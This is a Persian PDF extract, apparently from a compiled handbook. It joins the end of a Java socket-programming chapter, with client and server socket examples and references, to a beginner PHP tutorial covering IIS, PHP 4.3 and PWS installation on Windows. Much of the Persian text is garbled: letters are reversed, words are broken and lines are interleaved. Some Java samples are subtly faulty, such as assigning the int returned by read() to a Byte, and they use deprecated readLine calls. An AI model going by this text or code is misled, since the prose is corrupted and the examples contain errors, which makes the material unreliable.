ل  ، شود استفاده سوکت کی خلق یبرا متود نیا از اگر .شوديم مشخص آن یها آرگومان دن  وجود ه ب  از قب ام  ، آن آم  بصورت  حوزه  ن
 نخواهد نممک کار هادام ، عمل نیا نبودن زيآم تيموفق صورت در و گشت خواهد باز آن IP آدرس و شده ترجمه DNS توسط خودکار

 .بود
  

  : مثال
 

try { 
Socket sock = new Socket("cs.wustl.edu", 25); 
} 
catch ( UnknownHostException e ) { 
System.out.println("Can't find host."); 
} 
catch ( IOException e ) { 
System.out.println("Error connecting to host."); 
} 

  
   :  Socket(InetAddress address, int port)  ) ب
  
ود  نیا قیطر از سوکت کلاس جادیا یبرا ورت  هشمار  و نيماش  کی  IP آدرس ، مت د  سیسرو  پ ورد  هدهن ان  در نظر  م ا  آرگوم  آن یه

  .شوديم ارسال متود به " 192.34.221.108 " مثل رشته کی صورت به  IP آدرس .شوديم مشخص
 

  : مثال
 

try { 
Socket sock = new Socket("128.252.120.1", 25); 
} 
catch ( UnknownHostException e ) { 
System.out.println("Can't find host."); 
} 
catch ( IOException e ) { 
System.out.println("Error connecting to host."); 
} 

  
   : ()close ) ج

  .کرد خواهد آزاد را شده داده صيتخص متود ارتباط ختم ضمن متود نیا TCP منابع و بسته را سوکت ، طرفه دو بصورت
  
را  ()getOutputStream  و()getInputStream  یها متود ) د ه  آنست  یب وان  ک ا  میاستر  بت سبت  یخروج  و یورود یه  داده ن

  :ديکن دقت ریز مثال به 1 .نوشت آن در ای خواند آن از بتوان و آورده بدست را سوکت به شده
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try 
{ 
Socket server = new Socket("foo.bar.com", 1234); 
InputStream in = server.getInputStream(); 
OutputStream out = server.getOutputStream(); 
// Write a byte 
out.write(42); 
// Say "Hello" (send newline delimited string) 
PrintStream pout = new PrintStream( out ); 
pout.println("Hello!"); 
// Read a byte 
Byte back = in.read(); 
// Read a newline delimited string 
DataInputStream din = new DataInputStream( in ); 
String response = din.readLine(); 
server.close(); 
} 
catch (IOException e ) { } 

  
  
اد یا از پس مثال نیا در ا  ات  شودي م تلاش  ، سوکت  کی  ج ا  ینيماش  ب ام  ب ورت  هشمار  و foo.bar.com هحوز  ن اط  1234 پ  TCP  ارتب

ودن  زي آم تي موفق صورت  در .شود  برقرار ا  میاستر  ، عمل  نی ا ب اد یا یخروج  و یورود یه را  شده  ج  در) دی آيم بدست  ، سوکت  یب
 ها میاستر نیا قیطر از ، افتیدر و ارسال از پس اتینها .داد انجام یخروج / یورود اتيعمل آنهای رو بتوان تا out  و in  یها میاستر

 .شوديم بسته سوکت
  

  : ديکن دقت ، آن یها متود یبرخ و شود جادیا دیبا دهنده سیسرو سمت در که یسوکت کلاس به حال
 

ServerSocket( int port) 
ServerSocket(int port, int count) 
synchronized void close() 
Socket accept() 

  
ه  است یپورت هشمار آدرس port  پارامتر و هستند سازنده یها متود ، داستيپ آنها ظاهر از که یگونها به دوم و اول یاه متود  دی با ک
   .شود (bind) ديمق سوکت به دهنده سیسرو سمت در
  
 و یدرون بطور ServerSocket در .است ارتباط یبرقرار جهت پورت به دادن گوش یبرا انتظار زمان count پارامتر دوم متود رد

ود  (listen)پورت به دادن گوش عمل خودکار ام  مت اً يدق  accept شودي م انج ق  ق وم  طب ه  یمفه دا  در ک وان  فصل  یابت  از یک ی ، شد  عن
ه  است  سوکت  ئيش  کی همشخص ، متود نیا یبرگشت مقدار .کنديم تیهدا برنامه به پردازش یبرا را معلق ارتباطات وان يم ک  میاستر  ت

 در یعن ی است یقبل مثال برنامه با متناظر که ریز مثال در .داشت افتیدر ای ارسال آنها یرو و آورده بدست آنرا یخروج/یورود یها
 ارتباطات  از یکی ، 1234 پورت هشمار کردن ديمق و سوکت کی جادیا از پس است یمشتر یگرید و دهنده سیسرو یکی مثال دو نیا

  .شد خواهد بسته ارتباط آن ، افتیدر و ارسال اتيعمل از پس و شده رفتهیپذ وجود صورت در معلق
 

// Meanwhile, on foo.bar.com... 
try { 
ServerSocket listener = new ServerSocket( 1234 ); 
while ( !finished ) { 
Socket aClient = listener.accept(); // wait for connection 
 283 اینترنت شبکه تحت نویسی برنامه
InputStream in = aClient.getInputStream(); 
OutputStream out = aClient.getOutputStream(); 
// Read a byte 
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Byte importantByte = in.read(); 
// Read a string 
DataInputStream din = new DataInputStream( in ); 
String request = din.readLine(); 
// Write a byte 
out.write(43); 
// Say "Goodbye" 
PrintStream pout = new PrintStream( out ); 
pout.println("Goodbye!"); 
aClient.close(); 
} 
listener.close(); 
} 
catch (IOException e ) { } 

  
  
  : ند اديمف رايبس ها کاربرد از یبرخ در ریز متود دو ، شده فیتعر Socket  کلاس در که یمتنوع یها متود نيب از
  

getport() : کلاس به متعلق که متود نیا Socketگردانديم بر را سوکت یبرا شده انتخاب پورت هشمار ، است.  
  

getHostName() :   
ه  ، دهنده سیسرو سمت در که است ديمف یزمان تابع دو نیا .گردانديم بر را سوکت کی با متناظر نینماد نام) نيماش نام متود نیا  برنام

   .بدهد صيتشخ را ارتباط مقابل طرف تیهو ، آن با متناظر Socket ئيش افتیدر و ارتباط کی رفتنیپذ با اهدبخو
  

 یها سوکت مورد در داد قرار استفاده مورد را آنها توانيم یبراحت و هستند ساده اريبس جاوا در ServerSocket  و Socket یکلاسها
  .ميکن ینم مطرح را یمطلب فعلاً تاگرامید
 
  
 

  .شوند واقع ديمف فصل نیا در شده یمعرف ميمفاه مورد در جامع قيتحق و قيدق اتیيجز آوردن دست یبرا تواننديم ریز مراجع همجموع
 
1 . Beej’s Guide to Network Programming Using Internet Sockets, 1998. 
http://www.ects.csuchico.edu/~beej/guide/net 
2 . Unix Network Programming, volumes 1-2 , W. Richard Stevens. Prentice Hall. 
3 . Internetworking with TCP/IP, Commer D.E. ,Prentice-Hall, 1996. 
4 . Exploring Java, Patrick Niemeyer & Joshua Peck; 1-56592-184-271-9, 2nd Edition July 1997 
(est.) 
5 . Java 1.2 Unleashed, Jamie Jaworski , Macmillan Computer Publishing,1998. 
6 . Java By Example, Clayton Walnum, Copyright© 1996 by Que® Corporation 
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    :PHP  و معرفیآموزش
  

  محمد مجریان : نویسنده 
  

  ؟) : نامه برقی(پست الکترونيک 
  

  مقدمه 

ان گستر     دنيای عجيبی است که تک ار جه ه آن ت افی عرضه می       " World Wide Web"نولوژی های مربوط ب شتيبانی ک دون پ اغلب ب
برای نمونه می توان    . شوند و کاربران این تکنولوژی همه روزه با واژگـان جدیدی بر خورد ميکنند که باعث سر در گمی آنها می شوند                    

  :ند از اشاره کرد که عبارتopen sourceبه رشد نرم افزارهای 

  برنامه های که بتوان آنها را گسترش داد و یا تغييراتی در ساختار آنها ایجاد کرد
  

داری، دارای یک                .  می باشد  Linux و به طور خاص      Unixمتداول ترین این برنامه ها سيستم عامل         ات و پای ا وجود ثب ا ب این برنامه ه
دیان                  . باشدمشکل بزرگ است و آن دشوار بودن آموختن این برنامه ها می              ه مبت ا را ب ه ه ن برنام اده ای ان س ه زب کمبود راهنماهایی که ب

 یکی از زبانهای اسکریپتی PHP. آموزش دهد باعث شده است که این دسته از نرم افزار ها از جایگاه واقعی خود دور نگاه داشته شوند               
open sourceه از آن هنوز به صورت شایسته ای از آن استقبال نشده  است و ابزار مفيدی می باشد که تا کنون علی رغم سادگی استفاد

  . اميد به خدا در طی این دروس ما شما را با این زبان اسکریپتی ساده و کارآمد آشنا خواهم کرد. است
  

PHPچيست ؟   
  

PHP  توسط   ١٩٩٤ سال Rasmus Lerdorf     ان اد شد و مخفف واژگ د    Personal Home Pages ایج ه حساب می آی ا گستر  . ب ش ب
ان  ن زب تفاده ای وارد اس ا و م ت ه ای PHPابلي دHypertext Preprocessor در معن ه ش ار گرفت ه ک گر .  ب يش پردازش ارت پ عب
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)Preprocessor (        ه ی است ک ان              PHPبدین معن ه زب دیل ب ل از تب د      Html اطلاعات را قب ردازش می کن مطابق مطالب سایت وب      . پ
ه در آدرس PHPرسمی   رار دارد، net.php.www://http ک ده  PHP ق ان اسکریپتی سمت سرویس دهن  Html Embeded , زب

Cross-Platform ,(Server-side)می باشد .  
  

ده                PHPسمت سرویس دهنده بودن      ر روی سرویس دهن ان ب ن زب رد   ) Server( بدین معناست که تمام پردازشهای ای ام می گي  یک . انج
ه مرورگر وب                                     ا ب داری می شوند و از آنج ا نگه ه صفحات وب در آنج امپيوتر مخصوص می باشد ک سرویس دهنده در حقيقت یک ک

  .کاربران منتقل می شوند
  

  . چگونگی ادامه این روند را در درس های آتی توضيح داده خواهد شد
  

ل     بودن این زبان این است که بروی هر سيستمCross-Platformمنظور از  ستم عاملی از قبي  ,Unix, Windows NT:  و با هر سي
Macintosh, Os/2توجه کنيد که منظور از سيستم عامل، سيستم عامل هایی می باشند که بر روی سرویس دهنده نصب .  اجرا ميشوند

ل کردن ب        PHP. می شوند  رای منتق ستم      نه تنها قابليت اجرا بر روی هر سيستم عاملی را دارا می باشد بلکه ب ه های آن از یک سي رنام
د                ری می تواني عامل به سيستم عامل دیگر احتياج بــه تغييرات اندکی خواهيد داشت و حتی در بعضی از موارد بدون احتياج به هيچ تغيي

ان   ه زب ه ب ک برنام د    phpی ل کني ر منتق ل دیگ ستم عام ه سي ل ب ستم عام ک سي   . را از ی
سی  .  قرار می گيرندhtmlت که دستورات این زبان در بين کدهای  این اسPHP بودن Html embededمنظور از  بنابراین برنامه نوی

ان   ه زب ان     PHPب ه زب سی ب ه نوی ر از برنام ده ت ی پيچي د  Html کم ی آی ساب م ه ح   . ب
PHP بر خلاف زبانهای برنامه نویسی )Programming Languages ( یک زبان اسکریپتی)Scripting Language (   ه می باشد ب
این رویدادها می توانند شامل ارسال یک فرم رفتن به . اجرا می شوند) Event( بعد از رخداد یک رویداد PHPارت دیگر دستورات    عب

دادهای  Java Script مشخص و یا مواد دیگر باشند متداولترین زبان اسکریپتی زبان URLیک   می باشد که معمولا برای پاسخ به روی
ـه ک     اربر در مرورگر وب بـ ده    ک اوت عم ا  Java Scriptار می رود تف ه    PHP ب ن است ک وژی سمت    Java Script در ای  یک تکنول

  .می باشد) Client-side(سرویس گيرنده 
  

د    . ناميده می شوند) Interpreted( تفسير شونده PHP یا Java Scriptزبان هایی مانند  سر مانن به عبــارت دیگر برای اجرا به یک مف
ل     ) Compile( بعد از ترجمه به زبان ماشين  Java یا Cاما زبانهای برنامه نویسی مانند    . دارندمرورگر وب احتياج     ه خودی خود قاب ب

  .اجرا می باشند
  

 این زبان اسکریپتی می باشد و کليه فایل ها و کدهایی که توی این وبلاگ ارائه ميشه تحت این نسخه کار ٤ نسخه   PHPجدیدترین نسخه   
سخه                 اما یک مشک   . ميکنند ا از ن ده ه ر سرویس دهن ه اکث د    ٣ل هست ک تفاده ميکنن سخه        .  اس ن دو ن اوت ای دک هست و        PHPتف سيار ان  ب

  . تغييرات مهم عموما در مسير اصلاح عملکرد این زبان صورت گرفته شده است
  

PHPچگونه کار ميکند ؟   
  

ه      در ادامــــــه می خواهي  ! خوب از حالا به بعد یکم بحث را تخصصی تر کنيم      يم ک ن صحبت کن ورد ای ار می    PHP: م در م ه ک  چگون
   رو اجرا کنيم و به چيزهای احتياج داریم؟PHPکند؟ و ما چطوری می توانيم برنامه های 

  
و این بدان معنی است که کدهای نوشته شده به این زبان در کامپيوتر !  یک زبان سمت سرویس گيرنده است     PHPهمان طور که ميدانيد     

 Internet (  ISP می روید com.php.wwwبرای مثال وقتی که شما به سایت وب . صفحــــــات وب قرار می گيرد) Host(ميزبان 
Servise Provider ( شما در خواست)Request (          داری م ن سایت را نگه ه اطلاعت ای ده ای ک ه سرویس دهن ـا را ب د  شمــــــــــ ی کن

  . آنهــــا را پردازش می کند PHPدر این هنگام سرویس دهنده بعد از خواندن کدهای . ارسال می کند
  

ه  HTML به سرویس دهنده فرمان می دهد که اطلاعــــات یک صفحه وب را به صورت برچسبهای   PHP برای مثال در این مورد        ب
ابراین  د بن ل کن ما منتق د راHTML یک صفحه PHPمرورگر ش د می کن ـای .  تولي ا کدهــ دا ب ه صفحه ار ابت امی ک ا هنگ ن حالت ب ای

HTML                ز ده ني ـال می شود و سرویس دهن ده ارســـ ه سرویس دهن ا یک درخواست ب اوت دارد در حالت دوم تنه  طراحی شده باشد تف
لات  ا      HTMLاط ر ک رای مرورگ ابراین ب د بن ی کن ل م ـاربر منتق ر کـــــــــــ ه مرورگ ود را ب ين   موج ـاوتی ب  و home.htmlربر تف

home.php    صورت ـالت اول صفحه ب ه در حـــــــــ ن است ک ود دارد و آن ای ت وج ن دو حال ين ای ده ای ب اوت عم ا تف دارد ام ود ن  وج
ين                       اوتی ب ال تف رای مث دیناميک توسط سرویس دهنده توليد شده است ولی در حـــالت دوم به صورت بدین صورت نيست و ممکن است ب

ام می   PHPپس هر آنچه    . نکه کــــاربر قبلا این صفحه را بازدید کرده یا برای بار اول است که بازدید می کند وجود داشته باشد   ای  انج
د             ل می کن ده منتق رای    . دهد در همان سمت سرویس دهنده انجام می دهد و سپس اطلاعات مناسب را به سرویس گيرن ـاز ب رین نيـــ مهمت

  . را پشتيبانی کندPHPه سرویس دهنده ای می باشد که  دسترسی بPHPکار با 
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١ ٣٧

  
  . یک زبان سمت سرویس دهنده می باشدPHPقبلا گفتم که 

  
ـا از        ده شمـــــــــــ ا سرویس دهن د           PHPبرای مطمئن شدن در این مورد که آی ن رو برداری د گوشی تلف ه می تواني ا ن د ی ـاده می کن  استفـ

  :ـــان سئوال کنيد شماره آنها رو بگيرید و از ایشـــ
  

ده ای                     د سرویس دهن در ادامه در مورد اینکه چطوری می توانيد سيستم خودتان را به یک سرویس دهنده تبدیل کنيد و چطوری می تواني
ه یک سرویس ده             .  مجهز کنيد توضيح خواهم داد     PHPرا که خودتـان راه انداخته اید به         ان را ب ستم خودت ـه شما سي ده  برای اینکـــــــــ ن

تبدیل کنيد اول باید مطمئن شدید که آیا سيستم عاملی که از آن استفــاده می کنيد قدرت این را دارد که به یک سرویس دهنده تبدیل شود یا                  
 رو داراست یا نه ؟ تا جایی که من  Web Serverنه؟ منظورم این است که آیا این نسخــه از سيستم عامل شما قابليت تبدیل شدن به یک 

  : می تواند روی آنهـــــا نصب گردد عبارتند از PHPعات دارم سيستم عامل های که اطلا
  

Unix,Windows, Macintosh , Os/2 Linux  
 

  :البته بحث ما بيشتر پيرامون دو سيستم عاملخواهد بود
 Linux و Windows.  
 

د    Web Serveه یک در درسهای بعدی منتظر این باشيد که چگونه می توانيد سيستم خودتـان را ب ـوری می تواني  تبدیل کنيد و چطــــــــ
  .... پس با ما باشيد!  پشتيبانی کندPHPآن رو پيکر بندی کنيد که از 

  

  نصب و پيکر بندی

   ؟PHPچرا 
  

ا از     ی م ه علت ه چ ه ب ن است ک م ای وردش توضيح ده واهم در م ی خ ه م زی ک ين چي يم؟ PHPاول ی کن ـاده م ا PHP استف سه ب  در مقای
انتر است         ت ن                 . کنولوژی های مشــابه سریعتر بهتر و آس ه ای وان ب رای طراحی یک سایت وب می ت شابه ب ـای م وژی هـ ه تکنول از جمل

  :موارد اشاره کرد 
  

ای   کریپت ه ان   ) Common Gateway interface) CGIاس ه زب ولا ب ه معم وند و  Perlک ی ش ته م   . ASP نوش
ا       یک سيستم محدود به حساب می آید   HTMLین است که     دارد ا  HTML در مقــــابل    PHPمزیتی که    ل ب اط متقاب اد ارتب ایی ایج و توان

تفاده از        HTMLیک صفحه   . کاربر را ندارد   ا اس ا ب دارد ام اربر را ن ال ک ر      PHP ساده توانایی پاسخ به اعم د صفحاتی ب  شما می تواني
د           يم کني فحه تنظ شـاهده ص اریخ م ا ت اربر و ی ل ک ستم عام اس سي ين هم. اس ـای داده       PHPچن ا پایگاههـــــــ ا ی ل ه ا فای د ب ی توان  م

)DataBase (    ه ر ک ات دیگ سياری عملي د و ب رار کن ر ق اط ب د   HTMLارتب ی باش ا نم ه آنه ام ب ه انج ادر ب   .  ق
د   PHPشاید یک سوال برای شما به وجود بياد که چــــرا یک طراح وب بهتر است که از زبان           و ASP  وCGIبه جای زبانهــای مانن

   برای طراحی سـایت دینــــــــاميک استفاده کند؟ JSPیا 
  

ان و چه در اجرا می باشد            PHPسرعت بيشتر   دليل اول    ن زب ه اي ايی ب ه ه اد برنام ين  .  چه در برنامه نويسيو ايج رای  PHPهمچن  ب
و تنهــــــــــــا با یادگيری دستورات و راهنماهایی   یادگيری بسيار ساده می باشد و افــراد بدون نياز به زمينه های قبلی در برنامه نویسی                 

د   اد بگيرن ان را ی ن زب د ای ی توانن ود دارد م ه وج ه   .ک ت ک ن اس ل ای ين دلي اد  PHPدوم رای ایج ا ب صاصی تنه ورت اخت ه ص  ب
ـا   . صفحـــــــــــــــات دیناميک طراحی شده است        ا     VbScript و   Perlامــ ي         Java و ی ه هم ستند و ب ه ني ل     اینگون  سریعتر و    PHPن دلي
  . ساده تر از تکنولوژی های جایگزین می باشد

  
  
  

دی       ر بن صب و پيک ورد ن واهيم در م ی خ ـامل   phpم ستم عـــ ر روی دو سي دم  Windowsو  linux ب يح ب   .توض
ی سي              تفاده     اولين چيزی که باید بهش بپردازیم این است که ما از چه نوع سيستم عــــــــــاملی استفاده می کنيم یعن ا از اس ه م ستم عاملی ک

   رو داره ؟ یا نه؟phpمی کنيم قــابليت نصب 
  

شه                phpمن تو درسهای قبلی این مسئله رو توضيح دادم و گفتم که              ه و نصب مي ار می کن ستم عامل های ک ـه سي ا می    .  روی چـ حالا م
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يم         یسيم رو اول     می نو  phpخواهيم یاد بگيریيم که چطــوری می توانيم برنامه هایی که به زبان              رو سيستم خودمــــــون تست و اجرا کن
  .و بعد اون رو منتقل کنيم به یک سيستم دیگه که احتمالا همـــون سرور است

  
ه یک وب سرور              ا رو ب ستم م ه سي اولين کاری که باید انجام بدیم اینکه از یک نرم افزاری استفاده کنيم که قـابليت این رو داشته باشه ک

يم     Linux آموزش خواهم داد بعد از اون در مورد          Windows رو بــــــــــــروی    phpاول روش اجرای    ! تبدیل کنه  !  هم صحبت می کن
دوز        ه یک    pcبرای اینکه بتونيم سيستم عامل وین ون رو ب ـه     خودت ه بتونــ ه   phpوب سرور ک شتيبانی کن د    رو پ دیل کني  راه وجود  ٣تب

  !داره
  
د راه   ٢٠٠٠ یـــا NT یا XPاگر شما با ویندوزی غير از   "  تفاده کني  کار می کنيد باید از راه اول استفاده کنيد و اگر نه باید از راه دوم اس

سخه های                        ا    XPسوم رو هم می شه بـــــــروی تمامی ویندوز ها استفاده کرد فقط یک نکته کـــــــه باید روی ویندوز ن ا  NT ی  - ٢٠٠٠ ی
IISاستفاده کنيد رو غير فعال کنيد که بتوانيد " !  

  
يم   IISما در این روش از .  می باشدwindows در phpابتدا راه دوم رو توضيح ميدم که روش استاندارد استفـــــاده از        . استفاده می کن

IIS مخفف )Internet Information Server (   ل ایی از قبي ين  wwwمی باشد که با کمک آن می توان سرویس ه ه  ftp و همچن  ک
ا هست                 مربوط به   در حال حاضر   IIS.  دریافت فایل می شود و همچنين چندین سرویس دیگر را استفــاده کرد که البته خارج از بحث م

ـواهيم روش نصب     .  وجود دارد٢٠٠٠ و XP برای ویندوز های ٥ و  NT بــرای ویندوز    ٤در دو نسخه پرکاربرد       رو IISحالا می خـ
رفتن یکی از     ٢٠٠٠ و NT و XPهای  در ویندوز    IISتوضيح بدم این روش نصب       اد گ ا ی  تقریبــــا به یک شکل می باشد و می تونيد ب

  . رو در ویندوز هــای مختلف نصب کنيدIISاونها 
  
  

صب  رای ن وی IISب د از من دا بای ه START ابت ه Settings گزین ـایت گزین ره  Control Panel و در نهــ ا پنج د ت اب کني  را انتخ
را انتخاب کرده و آن را اجرا نمایيد  Add or Remove Programsاز شود سپس از پنجـــــره کنترل پنل گزینه موسوم به کنتر پنل ب

ره     دن پنج ـاز ش د از بـــ ـزینه     Add or Remove Programsبع پ گ مت چ ای س د ه  Add/Remove Windows از کلي
Components  را انتخاب کرده و بعد از اندکی صبر پنجـــــــرهWindows Components Wizard باز ميشود بعد از باز شدن 

  .  را چک دار کنيد)Internet Information Server(IIS گيزینه Componentsاز کـــــادر 
  
  

د    Chek Boxچنان چه رنگ زمينه : توجه   گزینه فوق تيره بود بدین مفهوم است که زیر گروه های این گزینه غير فعال می باشد و بای
ال                   چک دار شون   ـه فع ایی کـ ه ه د برای چک دار کردن آنها باید بروی آن گزینه دوبار کليک کرده و از پنجره ای که باز خواهد شد گزین

  . نمی باشد فعال نمایيد تا کليه سرویس های یا زیرگروه های به طور کـــــــــامل انتخاب و نصب شود
  
  

د           شار داد    Nextبعد از انتخاب گزینه مورد نظر کلي د           را ف د نصب بروی ه بع ه مرحل ا ب ورد        . ه ت ل م ه قب ه های مرحل ه گزین ن مرحل در ای
سمت از      ) غير فعال   ( چنانچه شمـــا گزینه ای را حذف       . پردازش قرار می گيرد و کليه تغيرات اعمـــــال می شود            ن ق يد در ای کرده باش

  . باشيد در این قسمت به سيستم اضافه خواهد شدکــــــرده) انتخاب ( سيستم پاک خواهد شد و چنانچه گزینه ای را فعال 
  
  

ل             CDچنان چه گزینه ای را فعال کرده باشيد در این مرحلــــــــــه احتياج به              : توجه ا اگر فای د داشت ی ورد نظر خواهي دوز م  نصب وین
رد     د ک دا خواهي اج پي ه اون احتي يد ب ته باش ون داش ستم خودت روی سي دوز را ب صبی وین ـای ن ه   هـــــــــ وط ب ای مرب ـایل ه د فــ ون بای  چ

  . خوانده شود و بر روی سيستم شمـــــا کپی گرددHard Disck و یا CD را از IISپيکربندی 
  
  

دکی صبر    Finishنصب به مرحله پایانی خواهد رسيد و در این قسمت شما باید دکمه          ‚ بعد از اتمام این مرحله       د از ان  را فشار داده و بع
 ــIISهم اکنون    د   IISخوب حالا بعد از نصب  .ــر روی سيستم شما نصب می باشد و شما می توانيد از آن استفاده کنيد     بـ  رو IIS شما بای
دی  .  کنيد که بتونيد از اون استفـاده کنيدپيکربندی ه    IISبرای پيکر بن د ب ـزینه   Control Panel شما بای ه و گــ  Administrative رفت

Tools   رده و از پنج ه  Administrative Toolsره  را انتخاب ک د از    Internet Information Server گزین رده و بع  را انتخاب ک
ـربندی      ه پيکــ وط ب ه های مرب ه گزین ن برنام د   IISاجرای ای يش روی شماست و شما می تواني ل خود  IIS در پ ر مي ق ب  خود را منطب

  . پيکـــربندی کنيد
  
  

د و   IISخوب حالا که نصب     اد گرفتي تفاده از           IIS رو ی رای اس د آن را ب ـا نصب شده است بای ستم شمــــ ر روی سي يم  PHPب اده کن .  آم
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 ١٠٣٩    صفحه

ه روش نصب      PHPبرای این کـــــــار احتياج به نصب نرم افزار        ه در ادام م ک ستم داری اد خواهم داد  PHP را بر روی سي رای  .  رو ی ب
سخه         را تهيه کنيد و ترجيحا از PHP ابتدا باید نسخه مورد نظر      PHPنصب   ه ن د ک ـاده کني زار استفـ رم اف ن ن ن  ٤٫٣آخـــرین نسخه ای  ای

  . دریافت کنيداینجا نرم افزار می باشد که می توانيد از 
  
  

د                ر     . بعد از دریافت نسخه مورد نظر شما باید مراحل زیر را برای نصب دنبال کني دا ب ی      ابت ل اجرای رده و آن را      PHPروی فای  کليک ک
از شدن پنجره     )  می باشدphp-4.3.0-installer با نـام PHPمعمولا فایل اجرایی (اجرا نمایيد د از ب د  php 4.3.0 installationبع  بع

 ــWizard را فشار دهيد تا به مرحله بعدی         Nextسپس دکمه   .  بـــاز خواهد شد   Welcomeاز کمی صبر پنجره      د     کنت ال یاب . ـــــــرل انتق
ه      License Agreement پنجره Nextبعد از فشار دکمه  د دکم ن پنجره بای ا موافقت     I Agreeباز خواهد شد در ای د ت  را انتخاب کني

ه   رد     PHPنام رار گي د شما ق ورد تایي د پنجره    .  م د از تایي ه     Installation Typeبع ـه دارای دو گزین د کـ د دی  و Standard را خواهي
Advanced       می باشد که شما گزینه Advanced      ه    (را چک دار کنيد  Advancedالبته لازم به ذکــر است که در موقعی که شما گزین

  !) را انتخاب می کنيد تنظيمــــات پيکربندی بيشتری نسبت به گزینه استاندارد در اختيار دارید
  

ه    Nextبعد از فشار دادن دکمه  ـره موسوم ب ن پنجره       Choose Destination Lovation پنجــــــ ه در ای رد ک د ک شاهده خواهي  را م
ه  .  را مشخص کنيدPHPمی توانيد مسير نصب فــــایل های  شاهـده   Backup Replaced Files پنجره  Nextبا فشار دادن دکم را م

ه  .  را مشخص کنيدBack upخواهيد کرد که شما در این پنجره می توانيد محل قرار گيری فایل های  د  PHPهمچنين می توانيد ب  بگویي
   تهيه کند یـــــــا خير؟ Back upآیا برای فایل های شما 

  
ا محل        Choose Upload Temporary Directory پنجره Nextبعد از فشار دادن دکمه  ن اینج ه در ای د شد ک ـایش داده خواه  نمـ

ای      ه ه رای برنام رای اج ه ب وقتی ک ای م ری فایله رار گي ه آنPHPق ود  ب ی ش شخص م اج دارد م ه   . احتي شار دکم ا ف ره Nextب  پنج
Choose Session Save Directory     ر های ره کردن متغيي د    (Session باز خواهد شد که شما می توانيد محل ذخي در درسهای بع

ـم داد   د  ) توضيح خواهـ ه    . را مشخص کني شار دکم د از ف ه ش     Mail Configuration پنجره  Nextبع د شد ک از خواه د   ب ـا بای مـــــــــ
ه    وط ب د     Smtp Serverتنظيمات مرب يش فرض را وارد کني ل آدرس پ د          ( و ایمي د می تواني نایی نداری ه آش ن گزین ه ای ه ب در صورتی ک

د  رات کلي ال تغيي دون اعم ـرده و ب ول کـ رض را قب يش ف ضيمات پ د Nextتن شار دهي   ) را ف
الی        پد Error Reporting Level پنجره Nextبا فشار دکمه  ـات خطاهای احتم د سطح گزارشــ ـا می تواني یدار خواهد شد که شمــــ

ه بعدی                            ـه مرحل رده و بـــــ ول ک يش فرض را قب که در برنامه های به وجود می آید مشخص کنيد که در اینجا شما بهتر است تنظيمات پ
وع    رو مشاهده خواهيد کــــــــServer Type پنجره Nextسپس با فشار دکمه .بروید د ن ستم  Web serverـرد در این پنجره شما بای  سي

ـای      Microsoft IIS 4 or Higher معرفـی کنيد در این جا شما باید گزینه PHPخودتون رو به  دوز هـ د چون از وین  رو انتخاب نمایي
XP و NT بعد از فشار دکمه .  استفاده می کنيد ٢٠٠٠ وNext  ه پنجره ـواهيد رس   File Extensions  ب سمت شما     خــ ن ق ه در ای يد ک

رای اجرا اسکریپت های                   WebServerامکان این را خواهيد داشت که برای         ای را ب  PHP خودتون مشخص کنيد کــــــه چه نوع فایله
  .) گزینه را انتخاب کنيد٣در این مرحله بهتر است تمام .(در نظـــــر بگيرد

  
ـا اجازه نصب     Start Installationپنجره  ‚ Nextبعد از فشار دادن کليد  ل های     PHPباز خواهد شد که از شمـــــ ی کردن فای  و کپ

  . به اون این اجازه رو خواهيد دادNextرو روی سيستم شما را خواستار است کــه شما با فشار کليد 
  

ع خ                     Installingبعد از این کار پنجره مربوط به         ا مطل ل ه ی فای ـرد کپ ه شما از عمل کـــــ د شد    باز خواهد شد ک ن    . واهي ام ای د از اتم بع
ـلا وجود          System32قبـلا در دایرکتوری    " php.ini"مرحله چنان چه فایل      ل قبــ ن فای ر اینکه ای ی ب امی مبن  شما وجود داشته باشد پيغ

د   را برای تایي okدارد و شما چنانچه مایل هستيد این فایل پاک شود و نسخه جدید فـــــــایل را جایگزین کند که گزینه                     توجه  .(د کليک کني
  )داشته باشيد این گـزینه در صورتی نمایش داده می شود که فایل مورد نظر وجود داشته باشد

  
 Select را مشــاهده خواهيد کرد که شما باید در این قسمت کليد IIS Scripttamp Node Selectionبعد از اتمام این مراحل پنجره 

All را فشار داد و دکمه okرا بزنيد .  
  

ـا در نصب               PHPدر اینجا نصب     د       PHP به پایان رسيد و با پيغام تبریک و موفقيت شم شارداد کلي ا ف د شد و ب  آن را Ok مواجه خواهي
ا    . را توضيح خواهم داد  ...  و  ME و   ٩٨ های    windows در   phpاميد به خــــــدا در روزهای بعد نصب        . تایيد کنيد  ـار ب ين کــــ همچن

PWS و Eesy PHP پس با ما باشيد. نيز یاد خواهيد گرفت را.  
  
  

ه     ا توضيح دادم ولی قبل از اینکه درس ر    ٢٠٠٠ و   ME و   XP های   windows را در    phpپيکر بندی    ود ک ه ب د نکت  شروع کنم یک چن
  !باید می گفتم



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ١٠٤٠    صفحه

  
  

ن   .ه کرد  رو بر روی سایر ویندوزها نصب کرد و از اون استفاد           phpحالا می خوایيم یاد بگيریم که چطوری ميشه          بهترین روش برای ای
  .Easy PHP یا PWSکار استفاده از نرم افزارهایی هست که عمل یک وب سرور رو شبيه سازی می کنند مثل 

  
صب  ا  PWSاول روش ن ردن ب ار ک م ک د ه ای بع واهم دادEasy PHP و در روزه وزش خ ما آم ه ش   . رو ب

Personal Web Server   رکت صولات ش ی از مح ی Microsoft یک ر از     م دوزهای غي روی وین ه ب د ک  ٢٠٠٠ و NT و XPباش
ه یک    ! کاربرد دارد و برای برنامه نویسان وب بسيار آشنا است       ون رو ب شما با کمک این نرم افزار می تونيد سيستم عامل ویندوز خودت

د              ره لازم ببری د و از او به دیل کني رای اجرای       .وب سرور تب ا ب ن ج ا در ای ریم    PWS از PHPم ریم      کمک می گي اد بگي د ی پس اول بای
رای نصب                       PWS.  رو نصب کنيم   PWSچطوری می تونيم یک      ر رو ب د از دریافت مراحل زی د بع د دریافت کني ا می توني  رو از اینج

PWS باید طی کنيد تا PWSبر روی سيستم شما نصب شود .  
  

ل      روی فای دا ب د ابت صب بای رای ن يم  Setup.exeب را کن رده و آن را اج ک ک د از. کلي ه  بع رای برنام ره Setup اج  Setup is پنج
initializing باز خواهد شد که شما باید کمی صبر کنيد تا برنامه نصب خود را برای اجرای Wizardنصب آماده کند .  

  
د و     PWS باز خواهد شد که اطلاعاتی در مورد نرم افزار Microsoft Personal Web Server Setupسپس پنجره  ه شما می ده  ب

